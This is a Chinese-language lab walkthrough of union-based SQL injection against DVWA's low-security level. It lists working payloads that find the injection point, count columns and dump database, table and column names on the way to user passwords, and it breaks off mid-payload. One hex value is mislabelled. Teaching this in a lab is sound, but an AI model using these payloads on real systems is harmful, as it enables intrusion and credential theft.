目录
一、有回显的SQL注入过程
1.找到注入点;
2.通过回显找到闭合方式;
3.使用order by判断列数;
4.使用union select判断显示位;
5.使用union select爆出数据库名和版本号;
6.已知数据库名后使用union select爆出表名和列名;
7.最后爆出列名内所需信息,如user和password;
8.此外还可使用union select来读取文件。
二、Low
1.输入1‘发现有如下闭合报错,则判断存在注入点,
2.输入1''后出现回显,说明闭合为单引号'
3. 判断列数,输入至1' order by 3#时出现报错,说明列数为2,
4. 使用如下语句判断显示位
1' union select 1,2#
5.输入如下语句爆出数据库名和版本号,
1' union select version(),database()#
6.已知数据库名后使用如下三种语句爆出表名,第三种内的0x64767761为dvwa的ASCII码,可以看到回显有两个表,
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
7.同样使用三种方式爆出列名, name的ASCII码为0x7573657273,user以及password为我们需要的内容,
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1' unio